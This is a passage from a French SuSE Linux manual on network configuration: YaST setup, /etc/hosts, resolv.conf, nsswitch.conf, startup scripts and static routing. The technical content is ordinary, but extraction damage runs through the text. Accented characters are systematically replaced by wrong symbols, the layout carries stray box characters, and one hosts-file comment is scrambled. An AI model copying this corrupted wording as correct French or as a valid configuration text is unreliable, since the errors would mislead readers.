  10212.                               Masque rΘseau               └  l'aide  du  masque  rΘseau    (angl.  netmask),  on
  10213.                                                           dΘtermine  dans  quel  rΘseau  on  pourra  trouver  une
  10214.                                                           adresse  donnΘe.  L'adresse  IP  de  l'h⌠te  est  reliΘe  au
  10215.                                                           masque  rΘseau  par  un  ET  logique  ce  qui  provoque
  10216.                                                           la suppression de la partie h⌠te de l'adresse, de telle
  10217.                                                           sorte  qu'il  ne  subsiste  plus  que  l'adresse  du  rΘseau.
  10218.                                                           255.255.255.0             par  exemple  est  un  masque  rΘseau
  10219.                                                           typique.
  10220.                               Adresse  du  ser-           Les  serveurs  de  noms  mettent  α  disposition  le  ser-
  10221.                               veur de noms                vice  DNS,  (angl.  Domain  Name  Service)  par  lequel
  10222.                                                           les  noms  de  machines  sont  convertis  en  adresses  IP.
  10223.                                                           Ainsi,  par  exemple,  on  associe  α  la  machine  terre
  10224.                                                           l'adresse IP 192.168.0.20           .
  10225.                                                           Si vous avez accΦs par le rΘseau α un serveur de noms
  10226.                                                           que vous souhaitez utiliser, vous devez spΘcifier son
  10227.                                                           adresse lors de la configuration de votre rΘseau.
  10228.  
  10229.                             _______________________________________________________________________________________________________*
  10230.  *_________
  10231.  
  10232.                                             Tab. 5.1: ParamΦtres pour la configuration du rΘseau
  10233.                            5.1       Configuration α l'aide de YaST
  10234.  
  10235.                            Vous pouvez maintenant effectuer la configuration des logiciels rΘseau avec
  10236.                            YaST . Tenez compte, pour cette procΘdure, des points mentionnΘs au para-
  10237.                            graphe 25 page 154.
  10238.  
  10239.                             1.   Connectez-vous en tant qu'utilisateur `root'.
  10240.  
  10241.                             2.   Lancez  YaST   et  passez  au  menu  `Administration  du  systΦme',
  10242.                                  `Configuration  de  base  du  rΘseau'.
  10243.  
  10244.                             3.   Choisissez un `numΘro' disponible, par exemple 0 .
  10245.  
  10246.                             4.   Choisissez,_  comme   pΘriphΘrique,   `Ethernet'   en   appuyant   sur   la
  10247.                                  touche |F___|5et quittez le masque en activant le bouton `Continuer'.
  10248.  
  10249.                             5.   Appuyez sur la touche |F___|_6(`Adresse  IP') et spΘcifiez l'adresse IP de
  10250.                                  la machine, par exemple 192.168.0.20           . Ensuite, vous devrez spΘcifier
  10251.                                  le masque rΘseau. Pour un rΘseau de classe C (jusqu'α 254 machines dans
  10252.                                  un sous-rΘseau) il s'agit normalement de 255.255.255.0            . S'il n'y a pas
  10253.                                  de machine passerelle dans le rΘseau, il n'y aura rien α spΘcifier ici ; voir
  10254.                                  la figure 5.1 page suivante.
  10255.  
  10256.                             6.   Quittez le masque en activant le bouton `Continuer'.
  10257.  
  10258.                             7.   Activez le pΘriphΘrique rΘseau avec |F___|_4.
  10259.  
  10260.  
  10261. 156
  10262.         ____________________________________________________________________________5.1.__Configuration_α_l'aide_de_YaST___________*
  10263.  *_______________________
  10264.  
  10265.                            Fig. 5.1: Configuration rΘseau avec YaST
  10266.  
  10267.  
  10268.  
  10269.   8.   En  appuyant  sur  |_____|F10,  vous  pouvez  sauvegarder  la  configuration.  Avec
  10270.         ||______|╔chap, vous pouvez quitter le masque sans faire enregistrer les modifica-
  10271.  
  10272.        tions.
  10273.  
  10274.   9.   Dans  le  menu  `Changer  les  noms  des  machines',  vous  pouvez
  10275.        donner  un  nom  α  votre  machine  ou  changer  un  nom  de  machine  dΘjα
  10276.        existant. Dans le masque du menu, il sera Θgalement spΘcifiΘ le nom du
  10277.        domaine auquel devra appartenir la machine.
  10278.  
  10279. 10.    Sous l'option `Configurer  les  services  rΘseau', vous pouvez dΘ-
  10280.        terminer  si  le  dΘmon  inetd ,  le  programme  portmap  et  le  serveur  NFS
  10281.        doivent  Ωtre  lancΘs.  Vous  pouvez  aussi  dΘfinir  le  nom  de  machine  et  le
  10282.        nom de domaine qui devront figurer dans la ligne ``From'' lors du postage
  10283.        d'articles USENET.
  10284.  
  10285.        ~   Le dΘmon inetd  est nΘcessaire pour dΘmarrer en cas de nΘcessitΘ cer-
  10286.            tains  services  rΘseau  (par  exemple  telnet,  finger,  ftp  etc.).  inetd  de-
  10287.            vrait  toujours  Ωtre  lancΘ  au  moment  du  dΘmarrage  du  systΦme,  si-
  10288.            non de nombreux services ne seront pas disponibles. Si votre systΦme
  10289.            est exposΘ α certains risques, observez soigneusement les instructions
  10290.            concernant la sΘcuritΘ au paragraphe 18.2.2 page 475 .
  10291.  
  10292.        ~   Le portmapper portmap  doit toujours Ωtre lancΘ lors du dΘmarrage de
  10293.            votre systΦme si votre machine doit faire office de serveur NFS ou si
  10294.            NIS doit Ωtre utilisΘ. Si vous avez dΘcidΘ de lancer le portmapper, il
  10295.            vous sera ensuite demandΘ si le serveur NFS doit aussi Ωtre dΘmarrΘ.
  10296.  
  10297. 11.    Dans le menu `Configuration  du  serveur  de  noms', vous pouvez
  10298.        configurer l'accΦs α un ou plusieurs serveurs de noms. Il est possible de
  10299.        spΘcifier jusqu'α trois adresses IP sΘparΘes par des espaces.
  10300.  
  10301. 12.    L'option du menu `Configurer  sendmail' vous permet de procΘder α
  10302.        la configuration du paquetage sendmail . Vous trouverez une description
  10303.        dΘtaillΘe de la configuration de sendmail au paragraphe 6.8 page 205.
  10304.  
  10305.  En plus de tout cela, vous pouvez aussi entrer un grand nombre d'autres para-
  10306.  mΦtres directement dans le fichier central de configuration /etc/rc.config.
  10307.  Ici aussi vous serez assistΘ par YaST  (voir paragraphe 17.6 page 451).
  10308.  
  10309.  
  10310.                                                                                                                                    *
  10311.  *    157
  10312. 5.  En rΘseau avec_Linux___________________________________________________________________________________________________________*
  10313.  *_______________________________________@
  10314.  
  10315.  
  10316.  
  10317.                            Votre configuration rΘseau est ainsi terminΘe. YaST  lance SuSEconfig et fait
  10318.                            enregistrer  toutes  vos  spΘcifications  dans  les  fichiers  correspondants  (voir
  10319.                            paragraphe 5.2). Pour que les paramΦtres soient pris en compte, vous devrez
  10320.                            reconfigurer  les  programmes  concernΘs  et  relancer  les  dΘmons  nΘcessaires.
  10321.                            Vous pouvez le faire en tapant la commande
  10322.  
  10323.                                  terre:~  #  rcnetwork  restart
  10324.  
  10325.                            (voir aussi chapitre 17 page 445).
  10326.  
  10327.  
  10328.                            5.2       Configuration manuelle du rΘseau ~ o∙ trouver quoi ?
  10329.  
  10330.                            La configuration manuelle des logiciels rΘseau devrait toujours Ωtre considΘ-
  10331.                            rΘe comme un pis-aller. Il est prΘfΘrable d'utiliser YaST . Mais comme YaST
  10332.                            ne couvre pas la totalitΘ des logiciels rΘseau, il peut s'avΘrer nΘcessaire, dans
  10333.                            certains cas, de fignoler le travail α la main.
  10334.  
  10335.  
  10336.                            5.2.1      Fichiers de configuration
  10337.  
  10338.                            Ce paragraphe donne une vue d'ensemble des fichiers de configuration rΘseau
  10339.                            et dΘcrit leur fonction ainsi que le format utilisΘ.
  10340.  
  10341.                            /etc/rc.config
  10342.                                  C'est  dans  ce  fichier  central  de  configuration  (voir  paragraphe  17.5
  10343.                                  page  450)  que  l'on  procΦde  α  la  plus  grande  partie  de  la  configuration
  10344.                                  rΘseau. Si des modifications sont effectuΘes α l'aide de YaST  ou si vous
  10345.                                  lancez SuSEconfig  aprΦs avoir modifiΘ manuellement ce fichier, les en-
  10346.                                  trΘes  qui  ont  ΘtΘ  faites  serviront  α  gΘnΘrer  automatiquement  la  plupart
  10347.                                  des  fichiers  ΘnumΘrΘs  ci-dessous.  MΩme  les  scripts  de  dΘmarrage  sont
  10348.                                  configurΘs au moyen des paramΦtres contenus dans ce fichier.
  10349.                            ________________________________________________________________________________________________________*
  10350.  *________||
  10351.                            |  Si vous modifiez ce fichier α la main, vous devez toujours ensuite invoquer                          *
  10352.  *        ||||
  10353.                            |  SuSEconfig  afin que la configuration modifiΘe soit enregistrΘe automati-                            *
  10354.  *        |||
  10355.                            |                                                                                                       *
  10356.  *        |||
  10357.                            |  quement dans les fichiers appropriΘs.                                                                *
  10358.  *        |||
  10359.                            |_______________________________________________________________________________________________________*
  10360.  *________|||_
  10361.  
  10362.                            /etc/hosts
  10363.                                  C'est dans ce fichier (voir fichier 5.2.1 page ci-contre) que les adresses IP
  10364.                                  sont associΘes aux noms de machines. S'il n'est pas utilisΘ de serveur de
  10365.                                  noms, toutes les machines avec lesquelles une liaison IP doit Ωtre Θtablie
  10366.                                  devront  Ωtre  mentionnΘes  ici.  Pour  chaque  machine,  il  sera  insΘrΘ  dans
  10367.                                  le fichier une ligne constituΘe par l'adresse IP, le nom d'h⌠te pleinement
  10368.                                  qualifiΘ et le nom de la machine, par exemple terre     . L'adresse IP doit
  10369.                                  se trouver en dΘbut de ligne et les entrΘes doivent Ωtre sΘparΘes par des
  10370.                                  espaces ou des tabulations. Les lignes de commentaires sont introduites
  10371.                                  par le caractΦre `#'.
  10372.  
  10373.                            /etc/networks
  10374.                                  Ici, les noms de rΘseaux sont convertis en adresses de rΘseaux. Le format
  10375.                                  est  semblable  α  celui  du  fichier  hosts,  α  cette  diffΘrence  prΦs  que  les
  10376.                                  noms  de  rΘseaux  sont  placΘs  ici  devant  les  adresses  (voir  fichier  5.2.2
  10377.                                  page suivante).
  10378. 158
  10379.  _________________________________________5.2.__Configuration_manuelle_du_rΘseau_~_o∙_trouver_quoi_?_______________________________*
  10380.  *________________
  10381.  
  10382.  _______________________________________________________________________________________________________________________||
  10383.  |||||||| #                                                                                                              |
  10384.  |||||||||## hosts             Thismafileppdescribesinagsnumberfoofr hostname-to-addressthe  TCP/IP  subsystem.   It  is |mostly|
  10385.  |||||||| #                      used  at  boot  time,  when  no  name  servers  are  running.                           |
  10386.  ||||||||                                                                                                                |
  10387.  |||||||| #                      On  small  systems,  this  file  can  be  used  instead  of  a                          |
  10388.  |||||||| #                      "named"  name  server.   Just  add  the  names,  addresses                              |
  10389.  |||||||| #                      and  any  aliases  to  this  file...                                                    |
  10390.  |||||||| #                                                                                                              |
  10391.  ||||||||                                                                                                                |
  10392.  |||||||| 127.0.0.1  localhost                                                                                           |
  10393.  |||||||| 192.168.0.1  soleil.cosmos.univers  soleil                                                                     |
  10394.  |||||||| 192.168.0.20  terre.cosmos.univers  terre                                                                      |
  10395.  |||||||| #  End  of  hosts                                                                                              |
  10396.  ||||||||_______________________________________________________________________________________________________________ |
  10397.  
  10398.                                fichier 5.2.1: /etc/hosts
  10399.  _______________________________________________________________________________________________________________________||
  10400.  |||||||| #                                                                                                              |
  10401.  |||||||| #  networks     This  file  describes  a  number  of  netname-to-address                                       |
  10402.  |||||||| #                   mappings  for  the  TCP/IP  subsystem.   It  is  mostly                                    |
  10403.  |||||||| #                   used  at  boot  time,  when  no  name  servers  are  running.                              |
  10404.  ||||||||                                                                                                                |
  10405.  |||||||| #                                                                                                              |
  10406.  |||||||| loopback        127.0.0.0                                                                                      |
  10407.  |||||||| localnet        192.168.0.0                                                                                    |
  10408.  |||||||| #  End  of  networks.                                                                                          |
  10409.  ||||||||_______________________________________________________________________________________________________________ |
  10410.  
  10411.                             fichier 5.2.2: /etc/networks
  10412.  
  10413.  _____________________________________________________________________________________________________________
  10414.  
  10415. order hosts, bind                         DΘtermine  l'ordre  dans  lequel  on  doit
  10416.                                           faire appel aux services pour la rΘsolu-
  10417.                                           tion d'un nom. Arguments possibles :
  10418.                                           hosts : Recherche dans le fichier /etc/
  10419.                                           hosts
  10420.                                           bind : AccΦs α un serveur de noms
  10421. multi on/off                              DΘtermine  si  une  machine  enregistrΘe
  10422.                                           dans  /etc/hosts  peut  avoir  plusieurs
  10423.                                           adresses IP.
  10424. nospoof on                                Ces  paramΦtres  agissent  sur  les  accΦs
  10425. alert on/off                              non autorisΘs (angl. spoofing) au serveur
  10426.                                           de  noms  mais  n'ont  aucune  autre  in-
  10427.                                           fluence sur la configuration rΘseau.
  10428. trim <Nom de domaine>                     Le nom du domaine est sΘparΘ du nom
  10429.                                           d'h⌠te  de  la  machine  avant  que  celui-
  10430.                                           ci  ne  soit  rΘsolu  (dans  la  mesure  o∙  le
  10431.                                           nom de machine contient ce nom de do-
  10432.                                           maine). Cette option est utile lorsque le
  10433.                                           fichier /etc/hosts ne contient que des
  10434.                                           noms  provenant  du  domaine  local  qui
  10435.                                           doivent  Ωtre  reconnus  mΩme  lorsqu'ils
  10436.                                           sont complΘtΘs par le nom du domaine.
  10437.  
  10438.  _____________________________________________________________________________________________________________
  10439.  
  10440.                  Tab. 5.2: ParamΦtres pour /etc/host.conf
  10441.  
  10442.                                                                                                                                 159
  10443. 5.  En rΘseau avec_Linux___________________________________________________________________________________________________________*
  10444.  *_______________________________________@
  10445.  
  10446.  
  10447.  
  10448.                            /etc/host.conf
  10449.                                  La rΘsolution de noms ~ c'est-α-dire la conversion de noms de machines
  10450.                                  ou  de  rΘseaux  par  la  bibliothΦque  resolver  ~  est  pilotΘe  α  l'aide  de  ce
  10451.                                  fichier. Il est possible de rΘgler diffΘrents paramΦtres, chacun d'entre eux
  10452.                                  devant se trouver dans sa propre ligne. Les commentaires sont introduits
  10453.                                  par  le  caractΦre  `#'.  Le  tableau  5.2  page  prΘcΘdente  vous  montre  les
  10454.                                  paramΦtres qu'il est possible d'utiliser.
  10455.  
  10456.                                  Le fichier 5.2.3. nous montre un exemple pour /etc/host.conf
  10457.  
  10458.                            ________________________________________________________________________________________________________*
  10459.  *________||
  10460.                            | #                                                                                                     *
  10461.  *         |
  10462.                            | #  /etc/host.conf                                                                                     *
  10463.  *         |
  10464.                            |                                                                                                       *
  10465.  *         |
  10466.                            | #                                                                                                     *
  10467.  *         |
  10468.                            | #  We  have  named  running                                                                           *
  10469.  *         |
  10470.                            |                                                                                                       *
  10471.  *         |
  10472.                            | order  hosts  bind                                                                                    *
  10473.  *         |
  10474.                            | #  Allow  multiple  addrs                                                                             *
  10475.  *         |
  10476.                            |                                                                                                       *
  10477.  *         |
  10478.                            | multi  on                                                                                             *
  10479.  *         |
  10480.                            | #  End  of  host.conf                                                                                 *
  10481.  *         |
  10482.                            |_______________________________________________________________________________________________________*
  10483.  *________ |
  10484.  
  10485.                                                             fichier 5.2.3: /etc/host.conf
  10486.  
  10487.  
  10488.                            /etc/nsswitch.conf
  10489.                                  Avec la version 2.0 de la bibliothΦque C de GNU, le ``Name Service Swit-
  10490.                                  ch'' (NSS) a fait son apparition (voir la page de man de nsswitch.conf
  10491.                                  (man  5  nsswitch.conf                )  et  pour  plus  de  dΘtails  The  GNU  C  Library
  10492.                                  Reference   Manual,   chapitre   "System   Databases   and   Name   Service
  10493.                                  Switch" 2 ).
  10494.  
  10495.                                  Le fichier /etc/nsswitch.conf dΘtermine l'ordre dans lequel certaines
  10496.                                  informations seront recherchΘes. Le fichier 5.2.4 page 162 vous montre
  10497.                                  un exemple pour nsswitch.conf. Les commentaires sont introduits ici
  10498.                                  par le caractΦre `#'. Dans ce fichier, l'entrΘe /etc/hosts:, par exemple,
  10499.                                  a pour rΘsultat qu'il sera d'abord recherchΘ dans le fichier /etc/hosts
  10500.                                  (mot-clΘ files     ) avant que le service de noms (mot-clΘ dns   ) ne soit inter-
  10501.                                  rogΘ. /etc/hosts: dΘsigne ici une ``base de donnΘes'' au sens de NSS.
  10502.  
  10503.                                  Les  ``bases  de  donnΘes''  disponibles  via  NSS  sont  ΘnumΘrΘes  dans
  10504.                                  le  tableau  5.3  page  suivante.  On  peut  en  plus  attendre  pour  l'avenir
  10505.                                  automount        , bootparams         , netmasks        et publickey        .
  10506.  
  10507.                                ____________________________________________________________________________________________________*
  10508.  *______
  10509.  
  10510.                                  aliases               Alias de mail, utilisΘe par sendmail(8) ; voir page de
  10511.                                                        man de aliases       (man  5  aliases          ).
  10512.                                  ethers                Adresses Ethernet.
  10513.                                  group                 Pour groupes d'utilisateurs, utilisΘe par getgrent(3) ;
  10514.                                                        voir page de man de group      (man  5  group        ).
  10515.                                  hosts                 Pour   noms   d'h⌠tes   et   adresses   IP,   utilisΘe   par
  10516.                                                        gethostbyname(3) et fonctions similaires.
  10517.  
  10518.                                ____________________________________________________________________________________________________*
  10519.  *______
  10520.  
  10521.                            ___________________________Tab._5.3:_Continuer_α la page suivante...
  10522.                            2 paquetage libcinfo, sΘrie doc.
  10523.  
  10524.  
  10525. 160
  10526.        _________________________________________5.2.__Configuration_manuelle_du_rΘseau_~_o∙_trouver_quoi_?_________________________*
  10527.  *______________________
  10528.  
  10529.        _____________________________________________________________________________________________________________
  10530.  
  10531.  
  10532.       netgroup              Liste d'h⌠tes et d'utilisateurs valide dans le rΘseau et
  10533.                             permettant  de  rΘgler  les  droits  d'accΦs ;  voir  page  de
  10534.                             man de netgroup        (man  5  netgroup           ).
  10535.       networks              Noms et adresses rΘseau, utilisΘe par getnetent(3).
  10536.       passwd                Mots de passe, utilisΘe par getpwent(3) ; voir page de
  10537.                             man de passwd       (man  5  passwd         ).
  10538.       protocols             Protocoles rΘseau, utilisΘe par getprotoent(3) ; voir
  10539.                             page de man de protocols         (man  5  protocols            ).
  10540.       rpc                   Noms et adresses pour ``Remote Procedure Call'', uti-
  10541.                             lisΘe par getrpcbyname(3) et fonctions similaires.
  10542.       services              Services rΘseau, utilisΘe par getservent(3).
  10543.       shadow                Mots  de  passe  ``shadow'',  utilisΘe  par  getspnam(3) ;
  10544.                             voir page de man de shadow       (man  5  shadow         ).
  10545.  
  10546.        _____________________________________________________________________________________________________________
  10547.  
  10548.      Tab. 5.3: ``Bases de donnΘes'' disponibles via /etc/nsswitch.conf
  10549.       Les possibilitΘs de configuration de la ``base de donnΘes'' NSS sont prΘ-
  10550.       sentΘes dans le tableau 5.4.
  10551.        _____________________________________________________________________________________________________________
  10552.  
  10553.       files                  accΦs   direct   aux   fichiers,   par   exemple   α   /etc/
  10554.                              aliases.
  10555.       db                     accΦs par le biais d'une base de donnΘes.
  10556.       nis                    NIS , voir paragraphe 5.4 page 165.
  10557.       nisplus
  10558.       dns                    utilisable comme extension seulement pour hosts      et
  10559.                              networks       .
  10560.       compat                 utilisable comme extension seulement pour passwd      ,
  10561.                              shadow      et group     .
  10562.       en plus                il  est  possible  de  dΘclencher  diffΘrentes  rΘactions  α
  10563.                              certains rΘsultats obtenus par la recherche. Vous trou-
  10564.                              verez  des  dΘtails  α  ce  sujet  dans  la  page  de  man  de
  10565.                              nsswitch.conf            (man  5  nsswitch.conf                ).
  10566.  
  10567.        _____________________________________________________________________________________________________________
  10568.  
  10569.        Tab. 5.4: PossibilitΘs de configuration des ``bases de donnΘes'' NSS
  10570.  
  10571. /etc/nscd.conf
  10572.       C'est  par  ce  fichier  que  nscd  (angl.  Name  Service  Cache  Daemon)  est
  10573.       configurΘ. Voir la page de man de nscd     (man  8  nscd       ) et la page de man
  10574.       de nscd.conf          (man  5  nscd.conf            ). Ceci concerne les informations de
  10575.       passwd      ,  groups      et  hosts    .  Le  dΘmon  doit  Ωtre  relancΘ  si  par  exemple
  10576.       la rΘsolution des noms (DNS) est changΘe par la modification du fichier
  10577.       /etc/resolv.conf. On utilise pour cela la commande :
  10578.  
  10579.  
  10580.                                                                                                                                    *
  10581.  *   161
  10582. 5.  En rΘseau avec_Linux___________________________________________________________________________________________________________*
  10583.  *_______________________________________@
  10584.  
  10585.                            ________________________________________________________________________________________________________*
  10586.  *________||||
  10587.                            | #                                                                                                     *
  10588.  *         |
  10589.                            |                                                                                                       *
  10590.  *         |
  10591.                            | #  /etc/nsswitch.conf                                                                                 *
  10592.  *         |
  10593.                            | #                                                                                                     *
  10594.  *         |
  10595.                            | passwd:         compat                                                                                *
  10596.  *         |
  10597.                            |                                                                                                       *
  10598.  *         |
  10599.                            | group:           compat                                                                               *
  10600.  *         |
  10601.                            |                                                                                                       *
  10602.  *         |
  10603.                            |                                                                                                       *
  10604.  *         |
  10605.                            | hosts:           files  dns                                                                           *
  10606.  *         |
  10607.                            | networks:     files  dns                                                                              *
  10608.  *         |
  10609.                            |                                                                                                       *
  10610.  *         |
  10611.                            |                                                                                                       *
  10612.  *         |
  10613.                            | services:     db  files                                                                               *
  10614.  *         |
  10615.                            |                                                                                                       *
  10616.  *         |
  10617.                            | protocols:    db  files                                                                               *
  10618.  *         |
  10619.                            |                                                                                                       *
  10620.  *         |
  10621.                            |                                                                                                       *
  10622.  *         |
  10623.                            | netgroup:     files                                                                                   *
  10624.  *         |
  10625.                            |                                                                                                       *
  10626.  *         |
  10627.                            |_______________________________________________________________________________________________________*
  10628.  *________ |
  10629.  
  10630.                                                         fichier 5.2.4: /etc/nsswitch.conf
  10631.  
  10632.  
  10633.  
  10634.                                  terre:  #  /sbin/init.d/nscd  restart
  10635.  
  10636.  
  10637.                            ________________________________________________________________________________________________________*
  10638.  *________||
  10639.                            |  Lorsque par exemple le cache pour passwd       est activΘ, il faut attendre en                       *
  10640.  *        ||||
  10641.                            |  gΘnΘral  15  secondes  avant  qu'un  nouvel  utilisateur  local  soit  connu  du                     *
  10642.  *        |||
  10643.                            |                                                                                                       *
  10644.  *        |||
  10645.                            |  systΦme. Il est possible de rΘduire ce temps en relanτant nscd .                                     *
  10646.  *        |||
  10647.                            |_______________________________________________________________________________________________________*
  10648.  *________|||_
  10649.  
  10650.                            /etc/resolv.conf
  10651.                                  Tout comme le fichier /etc/host.conf, ce fichier a un r⌠le α jouer dans
  10652.                                  la rΘsolution des noms de machines par la bibliothΦque resolver.
  10653.                                  On spΘcifie ici le domaine auquel la machine appartient (mot-clΘ search     )
  10654.                                  ainsi  que  l'adresse  du  serveur  de  noms  (mot-clΘ  nameserver         )  qui  doit
  10655.                                  Ωtre utilisΘ. Il est possible d'indiquer plusieurs noms de domaines. Lors
  10656.                                  de  la  rΘsolution  d'un  nom  qui  n'est  pas  pleinement  qualifiΘ,  on  essaie,
  10657.                                  par l'ajout des diffΘrentes entrΘes dans search      , de crΘer un nom valide
  10658.                                  complet. On peut faire connaεtre plusieurs serveurs de noms α l'aide de
  10659.                                  plusieurs  lignes  commenτant  par  nameserver         .  Ici  aussi  les  lignes  de
  10660.                                  commentaires sont introduites par le caractΦre `#'.
  10661.                                  Un  exemple  pour  /etc/resolv.conf  vous  est  montrΘ  dans  le  fi-
  10662.                                  chier 5.2.5.
  10663.                            ________________________________________________________________________________________________________*
  10664.  *________||
  10665.                            | #  /etc/resolv.conf                                                                                   *
  10666.  *         |
  10667.                            |                                                                                                       *
  10668.  *         |
  10669.                            | #                                                                                                     *
  10670.  *         |
  10671.                            | #  Our  domain                                                                                        *
  10672.  *         |
  10673.                            |                                                                                                       *
  10674.  *         |
  10675.                            | search  cosmos.univers                                                                                *
  10676.  *         |
  10677.                            | #                                                                                                     *
  10678.  *         |
  10679.                            |                                                                                                       *
  10680.  *         |
  10681.                            | #  We  use  soleil  (192.168.0.1)  as  nameserver                                                     *
  10682.  *         |
  10683.                            | nameserver  192.168.0.1                                                                               *
  10684.  *         |
  10685.                            | #  End  of  resolv.conf                                                                               *
  10686.  *         |
  10687.                            |_______________________________________________________________________________________________________*
  10688.  *________ |
  10689.  
  10690.                                                           fichier 5.2.5: /etc/resolv.conf
  10691.  
  10692.  
  10693.                                  YaST  (voir paragraphe 5.1 page 156) inscrit ici le serveur de noms qui a
  10694.                                  ΘtΘ spΘcifiΘ !
  10695.  
  10696.  
  10697. 162
  10698.        _________________________________________5.2.__Configuration_manuelle_du_rΘseau_~_o∙_trouver_quoi_?_________________________*
  10699.  *______________________
  10700.  
  10701.  
  10702.  
  10703. /etc/HOSTNAME
  10704.       On  trouve  ici  le  nom  de  la  machine,  c'est-α-dire  le  nom  d'h⌠te  sans  le
  10705.       nom de domaine. Ce fichier est lu par diffΘrents scripts lors du dΘmarrage
  10706.       de la machine. Il ne doit contenir qu'une seule ligne mentionnant le nom
  10707.       de la machine ! Ce fichier est Θgalement gΘnΘrΘ automatiquement avec les
  10708.       paramΦtres contenus dans /etc/rc.config.
  10709.  
  10710.  
  10711. 5.2.2      Scripts de dΘmarrage
  10712.  
  10713. En plus des fichiers de configuration dΘcrits plus haut, il existe aussi diffΘrents
  10714. scripts qui lancent les programmes rΘseau au moment du dΘmarrage de la ma-
  10715. chine. Ces scripts dΘmarrent dΦs que le systΦme passe dans l'un des niveaux
  10716. d'exΘcution multiutilisateurs (angl. multiuser-runlevel) (voir tableau 5.5).
  10717.  
  10718.        ______________________________________________________________________________________________________________________
  10719.  
  10720.    /sbin/init.d/network                         Ce  script  se  charge  de  la  configuration
  10721.                                                 du  matΘriel  et  des  logiciels  rΘseau  pen-
  10722.                                                 dant  la  phase  de  dΘmarrage  du  systΦme
  10723.                                                 en  tenant  compte  des  entrΘes  faites  par
  10724.                                                 YaST (voir paragraphe 5.1 page 156) dans
  10725.                                                 /etc/rc.config au sujet de l'adresse IP,
  10726.                                                 de l'adresse de rΘseau, du masque rΘseau
  10727.                                                 et de la passerelle.
  10728.    /sbin/init.d/route                           Sert α dΘterminer les routes statiques dans
  10729.                                                 le rΘseau. Vous trouverez une description
  10730.                                                 dΘtaillΘe au paragraphe 5.3 page suivante.
  10731.    /sbin/init.d/inetd                           Lance  inetd   lorsque  son  lancement  est
  10732.                                                 prΘvu  dans  /etc/rc.config.  Ceci  est
  10733.                                                 nΘcessaire lorsque l'on veut, par exemple,
  10734.                                                 se connecter α cette machine depuis le rΘ-
  10735.                                                 seau.
  10736.    /sbin/init.d/rpc                             Lance le Portmapper nΘcessaire α l'utilisa-
  10737.                                                 tion de serveurs RPC, comme par exemple
  10738.                                                 un serveur NFS.
  10739.    /sbin/init.d/                                Lance le serveur NFS.
  10740.    nfsserver
  10741.    /sbin/init.d/sendmail                        Contr⌠le  le  processus  sendmail  en  fonc-
  10742.                                                 tion des paramΦtres contenus dans /etc/
  10743.                                                 rc.config.
  10744.    /sbin/init.d/ypserv                          DΘmarre   le   serveur   NIS   en   fonction
  10745.                                                 des  paramΦtres  contenus  dans  /etc/rc.
  10746.                                                 config.
  10747.    /sbin/init.d/ypclient                        DΘmarre    le    client    NIS    en    fonc-
  10748.                                                 tion    des    paramΦtres    contenus    dans
  10749.                                                 /etc/rc.config.
  10750.  
  10751.        ______________________________________________________________________________________________________________________
  10752.  
  10753.                 Tab. 5.5: Scripts de dΘmarrage des programmes rΘseau
  10754.  
  10755.                                                                                                                                    *
  10756.  *   163
  10757. 5.  En rΘseau avec_Linux___________________________________________________________________________________________________________*
  10758.  *_______________________________________@
  10759.  
  10760.  
  10761.  
  10762.                            5.3       Routage sous SuSE        Linux
  10763.  
  10764.                            Remarques prΘliminaires
  10765.  
  10766.                            La table de routage n'est pas dΘfinie sous SuSE     Linux au moyen de variables
  10767.                            dans le fichier central de configuration /etc/rc.config mais au moyen du
  10768.                            script /sbin/init.d/route et du fichier de configuration /etc/.
  10769.  
  10770.                            AprΦs  l'initialisation  du  rΘseau  par  les  scripts  de  dΘmarrage  /sbin/init.
  10771.                            d/network, /sbin/init.d/inetd, /sbin/init.d/i4l_hardware et, le
  10772.                            cas ΘchΘant, par d'autres scripts de dΘmarrage, le fichier /etc/route.conf
  10773.                            contenant la table de routage est explorΘ par /sbin/init.d/route et cette
  10774.                            table de routage est configurΘe pour le systΦme.
  10775.  
  10776.                            Dans le fichier /etc/route.conf, on peut enregistrer toutes les routes sta-
  10777.                            tiques  qui  peuvent  Ωtre  nΘcessaires  aux  diffΘrentes  tΓches  d'un  systΦme  :
  10778.                            Route vers une machine, route vers une machine via une passerelle et route
  10779.                            vers un rΘseau.
  10780.  
  10781.                            Il  est  Θgalement  possible  d'utiliser  un  routage  dynamique  au  moyen  de
  10782.                            /usr/sbin/routed  dont la configuration est plus compliquΘe. Nous attirons ici
  10783.                            votre attention sur la page de man de routed      .
  10784.  
  10785.  
  10786.                            Marche α suivre et utilisation
  10787.  
  10788.                            Les  rΦgles  qui  s'appliquent  au  fichier  de  configuration  /etc/route.conf
  10789.                            se  basent  sur  la  sortie  de  la  commande  /sbin/route          .  Si  la  commande
  10790.                            /sbin/route           est invoquΘe sans arguments supplΘmentaires, la table de rou-
  10791.                            tage utilisΘe par le noyau sera affichΘe. └ l'exception des colonnes pour les
  10792.                            entrΘes Flags, Metric, Ref et Use, tous les enregistrements contenus dans
  10793.                            /etc/route.conf sont identiques.
  10794.  
  10795.                            Voici briΦvement quelles sont les rΦgles applicables α /etc/route.conf :
  10796.  
  10797.                              ~   Les  lignes  commenτant  par  `#'  et  les  lignes  vides  sont  ignorΘes.  Une
  10798.                                  entrΘe est constituΘe par une ligne comportant au minimum 2 et au maxi-
  10799.                                  mum 4 colonnes.
  10800.  
  10801.                              ~   La premiΦre colonne contient l'adresse de destination. On peut dΘfinir ici
  10802.                                  l'adresse IP d'un rΘseau ou d'une machine ou, pour des serveurs de noms
  10803.                                  accessibles, le nom complet d'un rΘseau ou de la machine.
  10804.  
  10805.                              ~   Le mot-clΘ default        est rΘservΘ α la passerelle par dΘfaut. N'utilisez pas
  10806.                                  ici 0.0.0.0       pour les entrΘes de routage.
  10807.  
  10808.                              ~   La deuxiΦme colonne contient soit un caractΦre de substitution (0.0.0.0       ),
  10809.                                  soit l'adresse IP ou le nom complet d'une machine. Cette machine peut
  10810.                                  Ωtre  la  passerelle  par  dΘfaut  ou  une  passerelle  derriΦre  laquelle  on  peut
  10811.                                  accΘder α une machine ou α un rΘseau.
  10812.  
  10813.                              ~   La  troisiΦme  colonne  contient  le  masque  pour  rΘseaux  ou  machines  se
  10814.                                  trouvant au delα d'une passerelle. Pour les machines situΘes derriΦre une
  10815.                                  passerelle, le masque est 255.255.255.255              .
  10816.  
  10817.                              ~   La derniΦre ligne concerne uniquement les rΘseaux (loopback, Ethernet,
  10818.                                  ISDN, PPP, pΘriphΘriques dummy, : : :) reliΘs α la machine locale. Le nom
  10819.                                  du pΘriphΘrique doit Ωtre ici indiquΘ.
  10820.  
  10821.  
  10822. 164
  10823.        ______________________________________________________________________________5.4.__NIS,_les_pages_jaunes_du_LAN____________*
